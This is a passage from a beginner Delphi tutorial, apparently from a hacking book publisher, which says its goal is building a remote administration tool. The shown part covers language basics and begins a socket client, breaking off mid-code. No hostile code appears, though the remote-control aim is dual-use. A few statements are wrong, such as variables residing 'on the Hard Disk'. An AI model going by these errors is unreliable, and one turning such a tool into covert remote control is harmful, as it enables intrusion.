INTRODUCTION.

Throughout this paper you will gain the knowledge of how to program a remote administration tool. This paper was designed for Delphi, which is Borland's rapid application development (RAD) environment for Windows.

If do not have a copy of Delphi, you can download Delphi 7 Architect Trial at:
http://www.borland.com/products/downloads/download_delphi.html

This paper is compatible with earlier versions of Delphi, including versions 5 and 6.

Now that you have obtained a copy of Delphi, lets start coding. Now if you're new to Delphi I recommend starting here at the beginner's section, otherwise you could skip ahead to the main section.

BEGINNERS SECTION.

This section will give you the groundings to work through this paper. It is recommended that you try each new concept encountered and when you have completed this section, you should be able to program a very simple Client/Server application.

THE DELPHI IDE:

Open your copy of Delphi. What you see here is the Delphi IDE, which stands for Integrated Development Environment. It is divided into 4 parts: The title bar, which contains the toolbars and the Component Palette, the Object Inspector, the Object TreeView, and the workspace - which will show Form1 for now. You can close down the Object TreeView because we will not be using it.

THE WORKSPACE:

Initially shown in the workspace is a Form1. This is the Form Designer where you design the look of your application's Form. Take a Notepad, WordPad, dialog box, Calculator etc, these are all examples of forms (or windows). Just behind the Form Designer is the Code Editor, which is where we will be typing our code for our application. To tab between the two use F12.

OUR FIRST PROGRAM:

Firstly, get hold of the edge of the Form1 and drag it to the size you want. Now this is where the Object Inspector comes into play - notice there's a drop down menu at the top of the Object Inspector that says Form1. This means, the Properties and Events tabs just below are displaying the Properties and Events of our Form1.

Now take your mouse cursor and bring it up to the title bar and over to the Component Palette. The Component Palette is the place with the Standard, Additional, Win32 etc tabs. Click the Button component. That's the one with the 'OK' text on it. Now click somewhere on your form to place a Button on there. Save your application at this point: File, Save All, select a suitable place, click save for Unit1, now Project1 will be your .EXE name, so you might want to type in 'FirstProgram' and save.

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

All rights reserved © 2003: Ingo Haese publishing (www.hackersbook.com)

Click Project from the title bar and Compile All Projects. This might take a second because what's happening here is, the Delphi compiler is converting your project into a compiled executable file.
It is compiling all the data in that project into something the computer can understand leaving you with stand-alone .EXE file. Go to your folder where you saved it and run your FirstProgram.exe.

OK, it's not much. In fact clicking the button does nothing. It is basically just the skeleton of a Windows application with a dud Button on it. Lets make it do something.

Go back to Delphi, select your Form, and lets take a look at its properties. Working with the Object Inspector here, scroll down to the Caption property and over write the 'Form1' with 'FirstProgram' to change the Form's caption. Do the same with the Button, but change its caption to 'Click Me'. Now to write some code – select the Button (which will be named Button1) and click the Events tab of the Object Inspector. Select the OnClick event, and type in a name for this event in the white space. The name is your choice, something like 'WhenButton1IsClicked' will be fine and then press enter.

We have now jumped to the Code Editor and our Unit1.pas has the following lines added:

```
procedure TForm1.WhenButton1IsClicked(Sender: TObject);
begin

end;
```

You don't need to know the intricacies of the whole code for now, you just need to know that whatever we program between the **begin** and **end;** will be executed when the Button is clicked by the user at runtime. Runtime is when the .EXE is running as opposed to design-time which is what we're in now.

Put this line between the **begin** and **end**: ShowMessage('Hello World!'); Compile your project (Project, Compile All Projects), and then go and run it and see what happens when you click your Button.

That's a little more interesting. Take another look at the code which should be looking something like this:

```
procedure TForm1.WhenButton1IsClicked(Sender: TObject);
begin
  ShowMessage('Hello World!');
end;
```

You don't need to indent the ShowMessage line, but it's good for readability for when your code starts to grow. Another thing to note is the name of our Button1's OnClick Event. We have called it 'WhenButton1IsClicked' but any name would have done, it's just the name of the Event. Also, Delphi might not be case sensitive (SHOWMESSAGE.. would be fine) but another commonly practised tip is to start each word with a capital letter. I will not go into detail but just take note throughout this guide of the format of our code.

COMMENTS:

Comments are lines of text in your Unit that doesn't actually do anything and is just there for reference. Here are some examples of comments in Delphi:

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

All rights reserved © 2003: Ingo Haese publishing (www.hackersbook.com)

```
  // double back slash is a way of commenting
  { here we have another comment }
  {
  this comment is inside a pair of curly braces
  as is the example above
  }
```

They can be useful if you want to note something down in your Unit as a reminder. Note that if you see curly braces used with a dollar sign such as the '*{$R *.dfm}*' that is in your Unit1 at the moment, this means it is a compiler directive. Compiler directives are something we will not be using.

VARIABLES:

Back to our program, you'll have noticed there's more to it than just our Button's OnClick event handler but that will be explained more later on. Just note that your main code will be input in the **implementation** section.

You need to declare variables before they can be used and you declare them under the **var** keyword (unless they're global which we will come to later). Lets put some variables into our Button's OnClick Event:

```
  procedure TForm1.WhenButton1Clicked(Sender: TObject);
  var
    NumberOne: integer;
    NumberTwo: integer;
    TheResult: integer;
  begin
    NumberOne := 10;
    NumberTwo := 5;
    TheResult := NumberOne + NumberTwo;
    ShowMessage('The result of this sum = ' + IntToStr(TheResult) );
  end;
```

OK, I'll explain what's going on here. The **var** section is where we are declaring that we are going to be using three variables of type integer. An integer is a number - try typing 'integer' in your Unit and pressing F1 to bring up the Delphi help. This will show the range and some other variables types. The Delphi help can be very useful while you're developing your applications.

Now the **var** section always comes before the **begin** and after the **procedure** or **function** keywords (keyword: a word reserved for the Delphi compiler, I.E you can not call a variable **begin**, **end**, **procedure** etc) and you assign values and use them in the main code block. The main code block is between the **begin** and **end**;

Notice each line in the main code block ends with a semi-colon. The semi-colon indicates the end of a statement. It should be pretty straightforward what's going on there. The ':=' is an assignment sign, so you're giving NumberOne the value of 10. Then you're assigning number 5 to the NumberTwo integer variable, and then your assigning TheResult the value of the other two variables added together.

The final line here displays a message box showing: The result of this sum = 15. You see if you had put the variable TheResult inside the speech marks you would have got something like:

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

'The result of this sum = TheResult'. So you need to do the + operator to say add this variable's contents. Also, I've used IntToStr() as you can't just display an integer variable in that sort of situation, you need to convert it to a string type of variable. Here are some other variable types with examples:

```
  string  - A string is something like 'abc123 ?><;xzs'
  Char    - This is a single character such as 'A' or '3' or '?'.
  Boolean - A Boolean variable can equal either True or False.
```

IF THEN ELSE:

Lets start a new project (File, New, Application) and place components: a Button, a Label and a Memo on your form. They can all be found under the Standard tab of the Component Palette. Now double click on your Button. This is a shortcut to doing what we did before – it creates event handler code for this Button's OnClick event, but this time it's given the default name Button1Click.

Go back to your Form and play about with your components, sizing positioning etc, and check out some of their properties. You can set the Font property, font colour and size, colour of the Memo, add a ScrollBar to the Memo – all are design-time changes. Lets make some runtime changes – Go back to your Unit and put in this code:

```
procedure TForm1.Button1Click(Sender: TObject);
var
  s: string;
begin
  s := 'This is our new caption.';
  if Label1.Caption = 'Label1' then
    begin
      Label1.Caption := s;
      Memo1.Lines.Add('Label1s caption has been changed!');
    end;
end;
```

For our **if** statement – we are saying if the condition is True **then** execute the code block beneath marked with the new **begin** and **end;** The condition is between the **if** and the **then** keywords, and because the Caption of the Label does equal 'Label1' (if you haven't tampered with it) the code is executed inside the new code block. The code that is executed shows how you would add a line to a Memo (you need to use the Memo's name, Memo1 in this case) and the caption change shows how to make a runtime change to the Caption property. To extend this concept, we can add an **else** section:

```
procedure TForm1.Button1Click(Sender: TObject);
var
  s: string;
begin
  s := 'This is our new caption.';
  if Label1.Caption = 'Label1' then
    begin
      Label1.Caption := s;
      Memo1.Lines.Add('Label1s caption has been changed!');
    end
    else begin
      Memo1.Lines.Add('We are in the else section of our code.');
    end;
end;
```

Allowed to use: Christopher Rambird, Plymouth, Devon, PL8 1DY, UK

OK now notice we have taken away the semi-colon from the **end** just before the **else**. This is because when you use a ';' on an **end**; it marks the end of a code block. We don't want to end the code block there because we want to associate the **else** section inside this block. Well that should be pretty clear-cut, compile and run it and see what happens - you can probably work out why. After clicking our Button once, we have of course changed our Labels caption, so when you click it a second time, the **if** condition evaluates to False (is untrue, it doesn't equal 'Label1') and the **else** section is executed between the **else**'s **begin** and **end**; **-** Those begin and end bits could look like this:

```
  Else                    else begin                ELSE    BEGIN
  Begin

  End;                         end;                         END;
```

That's just to demonstrate how Delphi isn't case sensitive and the spacing between code doesn't matter. I prefer the way we've set our code out in our Unit.

Lets introduce an Edit component. Take one and put it somewhere on your Form (Standards tab again – hover your cursor over the icons in the Component Palette for a second to pop up the component name). Go back to the Unit and change the code as follows:

```
  procedure TForm1.Button1Click(Sender: TObject);
  var
    i: integer;
  begin
    i := StrToInt(Edit1.Text);
    if i > 10 then
      begin
        Memo1.Lines.Add('The value in Edit1 is greater than 10.');
      end
      else begin
        Memo1.Lines.Add('The value in Edit1 isnt greater than 10.');
      end;
  end;
```

Test that out. Notice that if you have anything but a number in the Edit Component you get an error. That's because we're converting the contents of the Edit into an integer variable type so we can assign it to 'i'. We do this conversion using the StrToInt function (we'll come to functions later). Edit1.Text is saying the Text property of Edit1. Take a look at it in the Object Inspector, it will say Edit1 at the moment, but you can delete that. The rest explains itself – **if** i (the value in Edit1) is greater than 10 **then**..

We have introduced the greater than operator here (>). Below are some other operators you can use:

```
  MATHEMATICAL: + (add), - (subtract), * (multiply), div (divide).
  LOGICAL:      and: if (i = 6) and (ii = 5) then
                or:  if (i = 6) or (ii = 5) then
  EQUALITY:     > (greater than), < (less than), = (equal to),
                <> (not equal to), <= (less than or equal to),
                >= (greater than or equal to).
```

NOTE: Don't confuse the assignment operator ':=' with equal to '='.

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

NESTED IF STATEMENTS:

If you follow an **if** statement with another **if** statement, this is said to be nesting **if**s. You would usually do this because you want to check out a few conditions on something. Here's a modification to our Unit to demonstrate:

```
  procedure TForm1.Button1Click(Sender: TObject);
  var
    i: integer;
  begin
    i := StrToInt(Edit1.Text);
    if i > 10 then
      begin
        if i = 15 then
          begin
            Memo1.Lines.Add('** The value of i is 15! **');
          end;
        Memo1.Lines.Add('The value in Edit1 is greater than 10.');
      end
      else begin
        Memo1.Lines.Add('The value in Edit1 isnt greater than 10.');
      end;
  end;
```

Try that. So **if** "i" is greater than 10, **then** we enter the first code block where another **if** statement is checked. If that statement is True, then we enter that **if**'s code block. When we leave that code block at its **end;** - we are still going to execute the line directory below it because it is part of our first code block (because i was greater than 10), but we will leave it there – we skip the **else** section.

ARRAYS:

An array is a collection of values. It is a variable, but sometimes rather than using 5 string variables, you might want to use an array of type string to hold all 5 strings. Here is a declaration example:

```
  var
    MyArray: array[0..4] of string;
```

So there you have declared the array in the **var** section, and you have declared it is going to contain 5 strings. You see *Object Pascal* arrays (as with many other programming languages) are zero-based, so 0 would be your first array index (they don't have to be though).

Object Pascal – This is the language we are coding in by the way. We may be using Delphi, which is the whole package - Components and all, but the actual code is Object Pascal.

So here's how you would assign strings to that array:

```
  MyArray[0] := 'This is our first string in the array';
  MyArray[1] := 'This is our second string in the array';
  MyArray[2] := 'This is our third string in the array';
  MyArray[3] := 'This is our fourth string in the array';
  MyArray[4] := 'This is our fifth string in the array';
```

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

And to work with a certain string, you would just use the array name (MyArray) and the index of the string you want inside braces. E.G: Memo1.Lines.Add('Data in the third array index: ' + MyArray[2]);

LOOPS:

Loops are used when you want to do something a certain amount of times, until a condition is met, or for a number of other reasons. There are three main types of loops, the **for**, the **while**, and the **repeat** loop. We will discuss each separately.

THE FOR LOOP:

Very commonly used. Start a new project and put a Memo and Button on your Form. Program the OnClick event of the Button as follows:

```
  procedure TForm1.Button1Click(Sender: TObject);
  var
    int: integer;
  begin
    Memo1.Clear;  { This clears the Memo. }
    for int := 1 to 10 do
      begin
        Memo1.Lines.Add(IntToStr(int) + ' times through the loop.');
      end;
  end;
```

I've added a comment here to let you know what that statement does. So what do we have? - We are saying 1 **to** 10 **do** what's inside the **begin** and **end**; just after the **do**. The first time around we are assigning 'int' with 1 and each time through the loop after that, 'int' is incremented by 1.

THE WHILE LOOP:

The **while** loop will loop while a condition is True. Once the condition set is False, the loop exits. Example:

```
  procedure TForm1.Button1Click(Sender: TObject);
  var
    int: integer;
  begin
    Memo1.Clear;
    int := 1;
    while int <> 10 do
      begin
        Memo1.Lines.Add(IntToStr(int) + ' times through the loop.');
        Inc(int); { This increments int by 1 }
      end;
  end;
```

This will loop through 9 times as the 9th time through int is incremented by 1 and so equals 10. Of course the condition set here is **while** int is not (<>) 10 so when it does equal 10, then condition becomes False and the loop exists.

THE REPEAT LOOP:

Very similar to **while** loop but the condition is checked at the end of the loop, rather than at the beginning as in the while loop. E.G:

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL3 1DY, UK

```
  repeat {we would have incremented int by 1 just before the repeat}
    Memo1.Lines.Add(IntToStr(int) + ' times through the loop.');
    Inc(int);
  until int = 10;
```

That's pretty straightforward. Replace the **while, do, begin, end**; section of the while loop with that code to test.

NOTE: If you use 'Break;' somewhere in a loop, that will terminate the loop – exit the loop at that Break point.

FUNCTIONS AND PROCEDURES:

This is an important point as **functions** and **procedures** will make up the body of our programs. They are routines which can be called to perform a specific task whenever it is required.

PROCEDURES:

Put a Button and a Memo on a form and make your Button's OnClick look like this:

```
  procedure TForm1.Button1Click(Sender: TObject);
  begin
    Memo1.Lines.Add('About to call our procedure..');
    HelloWorld;
    Memo1.Lines.Add('We resume here when the procedure has performed'
    + ' its task.'); // You might be able to fit this on one line. If
                     // so, forget the + bit.
  end;
```

Remember the '//' is a comment and will make no difference to the code. If you compile that, you will get a Compile Error saying: Undeclared identifier 'HelloWorld'. The white box displayed underneath the Code Editor shows the compile errors. Lets write our HelloWorld code:

```
  procedure TForm1.HelloWorld;
  begin
    ShowMessage('Hello world!');
  end;
```

Put that procedure somewhere in your Unit after the **implementation** but before the final **'end.'** – perhaps leave a line after your OnClick event and then put it in. Now try and compile that. OK, it's still undeclared because we have written the code but not declared we are using this procedure in our Form1. You declare your procedures in the Form1 class in the **type** section of your Unit. Scroll up and you'll see an example – the Button's procedure. Just below that put: **procedure** HelloWorld; - just before the **private** keyword.

Notice in your procedure you have 'TForm1.' but not in the procedure declaration. That's because in the declaration you are declaring it's going to be a member of the TForm1 class therefore to have the compiler recognise it as this, you need to let it know by using the TForm1. Don't worry about that for now though, just understand how to actually declare and use the procedure.

Compile and test that. I'm going to presume you can work out what's going on there – just study the code.

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL81DY, UK

A procedure is a routine that doesn’t return any values (it doesn’t return a result value). It can however accept values – which are called parameters. This procedure accepts an integer parameter:

```
  procedure TForm1.DoubleIt(var ValueToDouble: integer);
  begin
    ValueToDouble := ValueToDouble * 2;
  end;
```

To allow the procedure to accept a value and be able to change that value you need to declare it as a variable of the type you want it to be able to accept – integer in our case. The name can be anything as it is just a variable name. You do this inside a pair of parenthesis as shown. Here’s how to pass this procedure a parameter:

```
  procedure TForm1.Button1Click(Sender: TObject);
  var
    AnInteger: integer;
  begin
    AnInteger := 5;
    DoubleIt(AnInteger); // Here we pass ‘AnInteger’ to DoubleIt
    Memo1.Lines.Add(IntToStr(AnInteger)); // Try this without
  end;                                    // IntToStr - what happens?
```

If you haven’t declared this procedure you get a compile error. Put this line just before the **private** keyword:
procedure DoubleIt(**var** ValueToDouble: integer);

What’s going on? - ‘AnInteger’ is assigned with 5 and then passed to our DoubleIt procedure. The DoubleIt parameter ‘ValueToDouble’ now holds a reference to the ‘AnInteger’ variable’s memory location on the Hard Disk. If we manipulate ValueToDouble which here, we multiply by 2 – we are manipulating AnInteger.

FUNCTIONS:

I mentioned that a **procedure** does not return any values. The difference being a **function** does, and it can also accept parameters. Place 2 Edits on your Form and a Button. Here’s our function code:

```
  function TForm1.Multiply(Int1, Int2: integer): integer;
  begin
    Result := Int1 * Int2;
  end;
```

Declare it as usual – it would be this line (from **function** to **begin**..): **function** Multiply(Int1, Int2: integer): integer; (..but without ‘TForm1’) - and create an OnClick event handler for your Button with this code:

```
  procedure TForm1.Button1Click(Sender: TObject);
  var
    ReturnValue: integer;
    Ed1: integer;
    Ed2: integer;
  begin
    Ed1 := StrToInt(Edit1.Text);
    Ed2 := StrToInt(Edit2.Text);
    ReturnValue := Multiply(Ed1, Ed2);
    Memo1.Lines.Add(IntToStr(ReturnValue));
  end;
```

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

Test that. You obviously need to put a number in each Edit box at runtime. First of all, notice there's no **var** in the function parameter parenthesis.

This is because we want to be able to pass it actual numbers rather than just variables as we could have only done with our procedure example. Also, this function accepts two parameters. The syntax to accept more than one pararmeter is: (NameOfFirst comma NameOfSecond colon DataType) – as shown in our function. At the end of our function we have the data type that is going to be returned. ': integer' means the 'Result' will be of type integer.

What is 'Result': This is a variable reserved to be assigned the result of a **function**'s actions. It has to be declared the same as any other variable, but is declared by the compiler and not shown to you.

The function call will hold the return value in a sense. So if you assign a variable with the function call as we have done here: ReturnValue := Multiply(Ed1, Ed2); - we are giving it the Result value. 'Multiply(Ed1, Ed2)' is our function call and shows how you pass two parameters – you just separate each with a comma.

Of course the ReturnValue will now contain an integer value as that is what our function returns. You can not add integers to a Memo because it will only accept strings so we must use the StrToInt() function. Where did the StrToInt() function come from? We haven't coded it. That's correct, and that leads into our next topic - the uses list.

THE USES LIST:

So far we have used just one Unit in our applications. You can however add additional Units. Perhaps you have many routines (procedures and functions) that you don't want to see in your main Unit (the Form's Unit) however you still need to call them to perform their specific task. You could create a second Unit and just fill it out with these routines and then to associate your main Unit with this code only Unit, you would put the name of it in the **uses** list.

Scroll up to the top of your Unit1.pas. The **uses** section is where you would put the name of a Unit you would like to use code from. Try it out – File, New, Unit, and put your Multiply **function** in there in the **implementation** section. The declaration here would be in the **interface** section, and note you don't need to use 'TForm1.' in this Unit. Now back to Unit1 and put Unit2 somewhere in the **uses** list: Put a comma on the end of the last unit in the list and then add 'Unit2'.

Delphi contains a large library of pre-written functions, procedures, Methods, Objects, Classes, Components (the Visual Component Library(VCL)) for us to work with. You can see there are already a few units listed in the **uses** section such as Windows, Messages, SysUtils to name a few. These all contain code which we can use in our application.

Getting back to the StrToInt() – hover your mouse over it for a second. It will show up a line saying it is a function in SysUtils.pas, which is one of the Units in our **uses** list. This is good news because a little thing like converting a string to an integer could take a whole page or more of coding, but we have the function already there for us to use.

Allowed to use: Christopher Rainbird, Plymouth Devon, PL6 1DY, UK

Go to your Unit1 and click so that your flashing cursor is somewhere over 'StrToInt' and press F1. This brings up the help which tells you a little about the function. If a box is displayed with two choices, just select the StrToInt function.

You can see that it returns an integer. You can also see it accepts one parameter of data type string. It says the **const** keyword. Now I didn't mention this until now, but a **const** type is like a variable but cannot be changed. The **const** type has been used in this function because the string it accepts will not be changed – it is not going to return a value different to what we have passed it, it is just going to convert the data type for us.

The Delphi help is very useful for looking up how routines work. Like I say, just put your key cursor over a routine name and hit F1.

SOME OTHER USEFUL ROUTINES WE'LL BE USING:

You've seen StrToInt(), well IntToStr() is just the opposite. Below are some other useful routines. Remember, to get further information on the routine type in the name, select it, and press F1 in Delphi.

Pos(): This function returns the position (index) of a string within a string. Here's a code snippet to illustrate:

```
  var
    PosInteger: integer;
  begin
    S := 'abcdefgh';
    PosInteger := Pos('d', S);
    Memo1.Lines.Add(IntToStr(PosInteger));
```

The PosInteger variable would be assigned 4 here, as that's the position of 'd' in S. You could also do something like this:

```
  Memo1.Lines.Add( IntToStr( Pos('ef', S) ) );
```

That will add 5 to the Memo as that's the position of 'ef' in the S string here. I've left spaces between the parentheses for clarity - the Delphi compiler ignores space anyway. Starting from the middle there, the result from that function is the being passed to the IntToStr function which that result is being displayed on the Memo. This code is the preferred way to do this task as it is more compact.

A point to note is, if there were more than one 'ef' in S, Pos() would return the index of the first occurrence of it.

Copy(): This function returns a copy of a certain part of a string. If we declare another string variable 'StringBit' and using the above code still, we could do:

```
  StringBit := Copy(S, 2, 5);
  Memo1.Lines.Add(StringBit);
```

The Copy function accepts three parameters. The first being the string variable, second begin the index of where you want to copy from, and the third how many characters you want to copy from that point onwards. Don't confuse the third parameter with another index. We are saying, start at 2 ('b') and move 5 characters along (to 'f') and copy that bit. We get 'bcdef'.

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL3 1DY, UK

Delete(): A procedure that deletes a section of a string. If we had AStringVar that contained 'ThisStringWasAssignedToAStringVar' and we wanted to remove the first 'String' from the string. We can use delete:

```
  Delete(AStringVar, 5, 6);
  Memo1.Lines.Add(AStringVar);
```

The Delete() parameters work in the same way as Copy()'s. The first being the string, second the index, and the third how many characters to count along in the string as the point to delete. Note, you could not do: Memo1.Lines.Add(Delete(AstringVar, 5, 6)); - as it is a procedure and returns no values.

Length(): Function which returns the number of characters in a string or elements in an array. We will mainly be using it with strings. If AStringVar contains: 'ThisStringWasAssignedToAStringVar' – and we do:

```
  Memo1.Lines.Add(IntToStr(Length(AStringVar)));
```

That will return 33 as there are 33 characters in AStringVar.

Inc(): We have already seen this earlier so check the help on this one. It is a procedure which increments a value.

FileExists(): This function checks whether a certain file parameter passed to it exists on a Hard Disk. Example:

```
  if FileExists('c:\file.txt') = True then
    begin
      Memo1.Lines.Add('The file exists!');
    end
    else begin
      Memo1.Lines.Add('The file does not exist.');
    end;
```

Because FileExists returns a Boolean value – True if the file exists, and False if it doesn't, we can do the above to check. The file we have passed could have been a string variable containing the name and path of the file, or perhaps FileExists(Edit1.Text).

DeleteFile(): This function is called in the same way as FileExists() - however it will remove a file from a disk. If the file has been deleted the function will return True. If the file can not be deleted or does not exist, the function returns False.

EVENTS:

Microsoft Windows is an event-driven environment. This means that when an event occurs, Windows sends a program a Windows message informing the program of the event that has just occurred. This could be something like a key being pressed, a mouse being clicked, moved etc.

In the VCL (Visual Component Library – the components in Delphi's Component Palette) events are listed under the Event tab of the Object Inspector. These are 'triggered' or 'fired' as a result of some action on the component.

We have already used the OnClick event of a Button component. The code generated when you create this event is a method called an event

Allowed to use: Christopher Painbird, Plymouth, Devon, PL8 1DY, UK

handler. It's handing the event – executing the code inside that event handler when the event is fired.

Take a look at some of the other events of your Form. Forget the Action, Active Control etc – we are just looking at the On.. bits. You can click on a particular event and press F1 to have a look at the help for that event. Here are some common events we will be working with:

OnCreate: Occurs when the form is initially created. It will be fired only once as the form is only created once. Use this event to do something that you would like to do when the form is created.

OnKeyDown: If the form is our active window (in focus) and the user press a key, this event is fired.

OnKeyPress: Similar to the OnKeyDown event but this event doesn't give you the full range of keys.

To create the event handler for an event just type a name in the white box next to the event and press enter. Or, you could just double click on the event which will generate a name for you.

You don't need to account for all events. You might just want to use one as we have done earlier with the OnClick. These few events I've just mentioned are of our Form, however you'll fine many other components in the VCL to have the same events (apart from OnCreate).

THE WINDOWS APPLICATION PROGRAMMING INTERFACE (API):

This is a large collection of Windows functions written in the C language which gives us extra functionality when we can't get it from the VCL. You would make what's called an API call to a function you want to use. You do this in the same way as you would call any other Delphi function. Here's an example of how you would shut down windows using the ExitWindowsEx API function:

```
  ExitWindowSEx(EWX_FORCE or EWX_SHUTDOWN, 0);
```

That call will shut down Windows. It should be used as a last resort as it could potentially damage data. Take a look at the Microsoft Developer Network: www.msdn.microsoft.com - and search for: ExitWindowsEx. I will mention other API calls as we come to use them.

PCHARS:

If we want to use strings in Windows functions we need to use what's called a PChar. You see Windows was written in the C programming language, which doesn't have the string data type that we do in Object Pascal. It uses an array of characters as a string. At the end of the array of characters there is a zero (null terminator: 0) to mark the end of the string of characters. Sometimes in Delphi, we may be working with a Windows API function that requires an array of characters as a parameter. We wouldn't just be able to pass it a string, instead, we would use a PChar. Here is an example using the Windows CopyFile API call:

```
  CopyFile(PChar('c:\file.bmp'), PChar('c:\folder\file.bmp'), TRUE);
```

Again, try looking up CopyFile on the Microsoft Developer Network for more information on this API function.

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL6 7DY, UK

GLOBAL VARIABLES:

The variables we have been using so far have been local variables. They are local to the procedure declared in, therefore if you had two procedures, you wouldn't be able to use variables declared in the first procedure in the second procedure. Here's an example to illustrate, just put two Buttons on a form and a Memo:

```
procedure TForm1.Button1Click(Sender: TObject);
var
  StrVar: string;
begin
  StrVar := 'String assigned to the local variable StrVar';
  Memo1.Lines.Add(StrVar);
end;
```

That will work fine, as StrVar is declared local to this procedure. If we tried to do the following in our Button2 OnClick event:

```
procedure TForm1.Button2Click(Sender: TObject);
begin
  StrVar := 'lets assign this to the string instead';
  Memo1.Lines.Add(StrVar);
end;
```

We would get a compile error saying: Undeclared identifier: 'StrVar'. Let us declare StrVar global then (I.E – so every procedure can use it). You do this in the **private** section of your Unit. So take out the **var** section of your Button1 OnClick event code and instead, put the StrVar declaration in the **private** section like this:

```
private
  { Private declarations }
  StrVar: string;
```

Now compile that and test your Buttons. You will see you can use the variable in either procedure now as it is global, not local.

STRINGLISTS:

This can be thought of as an array of strings but with added features. It is what's called an Object and we use it like this:

```
procedure TForm1.Button1Click(Sender: TObject);
var
  SL: TStringList;
begin
  SL := TStringList.Create; // This is how you create the List
  SL.Add('A string added to the list');
  SL.Add('Another string added to the list');
  Memo1.Lines.Add(SL.Text);
  SL.Free; // Here we free it from memory
end;
```

So we declare it then we create it as shown. We can add strings to it with the .Add method, but when we've finished using it, we should use the .Free method to free it from computer memory.

By the way – ignore the 'T' bit, this is just saying it's an Object but you don't need to know that for now. Here are some other things you can do with a StringList:

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

.Sort: This will sort the StringList alphabetically.

.Clear: Clears the contents of a StringList. Don't confuse with Free.

.Count: A method that returns an integer value of the number of strings in the list.

.IndexOf: Returns the index of the first occurrence of a string in a StringList. It is zero-based, so if the string we were looking for was the first string in the StringList, 0 would be returned. If the string is not found in the list –1 is returned.

.LoadFromFile: This fills out the list with the contents of a text based file.

They're just there for reference for now. You could use the help, check out the examples and get acquainted with them if you like – but as we encounter them we'll go through them in more detail.

TRY..EXCEPT:

This type of statement is a way of exception handling. Think back to our program where we had an Edit box and a Button, and when we clicked our Button it checked whether the value in the Edit was greater than 10. It was an **if, then, else** example. We were making a call to the StrToInt function, and if we had something in our Edit that didn't convert to an integer data type, then Windows displayed an error. To overcome these errors from popping up we can change the code use the **try..except..end;** statement like this:

```
procedure TForm1.Button1Click(Sender: TObject);
var
  i: integer;
begin
 try           {...TRY ALL THAT'S BETWEEN HERE...}
  i := StrToInt(Edit1.Text);
  if i > 10 then
    begin
      Memo1.Lines.Add('The value in Edit1 is greater than 10.');
    end
    else begin
      Memo1.Lines.Add('The value in Edit1 isnt greater than 10.');
    end;
 except        {...AND HERE...}
   Memo1.Lines.Add('There was an error.');
 end;          {IF IT CAN'T DO SOMETHING - EXECUTE EXCEPT BLOCK}
end;
```

That should be understandable. It just accounts for the fact that we don't want the Windows message popping up. If it can't do something in the **try except** block, such as the StrToInt function call, then the exception is executed instead - between the **except** and **end;**

THE NAME PROPERTY:

We have used the default names of our components so far, such as Edit1 etc. You can however, change the name of the component using the Name property. Drop a Memo on your Form and change its name to MyMemo. Now if you wanted to work with that Memo you would have to use the name that we have assigned to it. For example:
MyMemo.Lines.Add('Add this to the Memo');

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

FILE STREAMS AND MEMORY STREAMS:

Delphi allows you to use special stream Objects to read or write to a storage medium such as a disk. The TFileStream allows you to work with files and the TMemoryStream allows you to store data in dynamic memory. Place 2 Memos, and a Button on you Form. Here is the Button's OnClick event:

```
  procedure TForm1.Button1Click(Sender: TObject);
  var
    MemStream: TMemoryStream;
  begin
    MemStream := TMemoryStream.Create;
    Memo1.Lines.SaveToStream(MemStream);
    MemStream.Position := 0;
    Memo2.Lines.LoadFromStream(MemStream);
    MemStream.Free;
  end;
```

What we are doing here is declaring a TMemoryStream called MemStream in the **var** section. Then we are creating the MemoryStream Object (.Create). We are then saying save all the data in our Memo1 into the MemStream (this saves the data as dynamic memory on your system – RAM). Now we set the *Position* property back to the beginning of the our MemStream. We use the LoadFromStream method and load the contents of our MemStream into our Memo2 and finally, free our TMemoryStream Object.

You need to free Objects from Memory so not to waste Memory resources.

Position - This property can be used to obtain the current position in byte number from the beginning of the streamed data. It is important to set the position to 0 if we want to work with data from the beginning to the end of the streamed data.

Don't worry too much if you haven't grasped that. Check the help for more, and you will see other examples as we work through this paper.

TCP/IP:

A protocol is basically a set of rules that allows for communication between two devices. TCP/IP is an abbreviation for the Transmission Control Protocol/Internet Protocol. The IP protocol deals with packets and the TCP enables two hosts to establish a connection for the transfer of data over that connection. We will write our application using this protocol, as it is reliable and easily implemented.

CREATING A CLIENT/SERVER APPLICATION:

Start two instances of Delphi. We'll use one for the Client and one for the Server. Tab to your first copy of Delphi and change the Form's caption to 'Client'. Now tab to the second copy of Delphi and change the Form's caption to 'Server'. When I refer to your Client, I will be talking about the copy of Delphi you have open with which you are working on the Client Form, and vice-versa.

If you take a look under the Internet tab of your Component Palette – you will see a ClientSocket and ServerSocket components [IF USING DELPHI 7, SEE PAGE 51 FOR UPDATES]. Place the ClientSocket component

Allowed to use: Christopher Rainbird, Plymouth, Devon, PL8 1DY, UK

on your Client Form, and the ServerSocket on your Server Form. Their positioning doesn't matter as they will not show up at runtime – they are invisible components.

THE CLIENT:

Place 2 Edit boxes, 2 Buttons, and a Label on your Form. Change the Text property of your Edit1 to '127.0.0.1' (your local IP). Change Button1's Caption property to '&Connect' (the '&' sign will create a shortcut to that Button of the first letter). Change Button2's Caption to '&Disconnect' and change your Label's caption to 'Not Connected'. Delete the text in your Edit2's Text property.

Now, click on your ClientSocket component and change the port property to '55555' (could be any port you wish as long as it doesn't conflict with other port numbers, I.E – port 80 is used for HTTP so don't use that port etc). The OnClick event for you Connect Button:

```
procedure TForm1.Button1Click(Sender: TObject);
begin
  ClientSocket1.Address := Edit1.Text;
  ClientSocket1.Active  := True;
end;
```

Here we are setting our ClientSocket's Address property with the Text in our Edit1. The Address property is where the IP you wish to connect to would go. Secondly we are setting the Active property to True – which means it will try to connect to the Port and Address properties we have specified.

We know when we have established a connection because the OnConnect ClientSocket event is fired. Create the event and put this in:

```
procedure TForm1.ClientSocket1Connect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  Label1.Caption := 'Connected!';
